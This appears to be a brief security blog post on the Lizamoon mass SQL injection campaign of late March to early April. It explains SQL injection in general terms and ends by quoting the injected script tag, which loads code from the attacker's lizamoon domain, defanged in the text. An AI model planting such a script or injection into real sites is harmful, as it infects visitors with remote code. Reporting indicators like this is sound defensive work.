It never stays quiet on the internet and new attacks or malware are seen every day. The last week however we saw an interesting mass SQL injection attack, referred to as Lizamoon, which was spreading and has infected several millions of URLs last week (March 29 until April 4). Even after a week, thousands of comprised websites don’t seem to be cleaned up, yet.
What are we talking about?
The mentioned attack uses SQL injection techniques to insert rogue code into the databases of websites. SQL injection is a code injection technique that misuses available functionality that is not filtered away properly. In other words: The vulnerability is present when user input is not correctly filtered for escape characters embedded in SQL statements or if the input is not strongly typed and by this unexpectedly executed (cf.: Wikipedia).
The following code was injected into a large number of websites:
<script src=hxxp://lizamoon . com / ur . php >
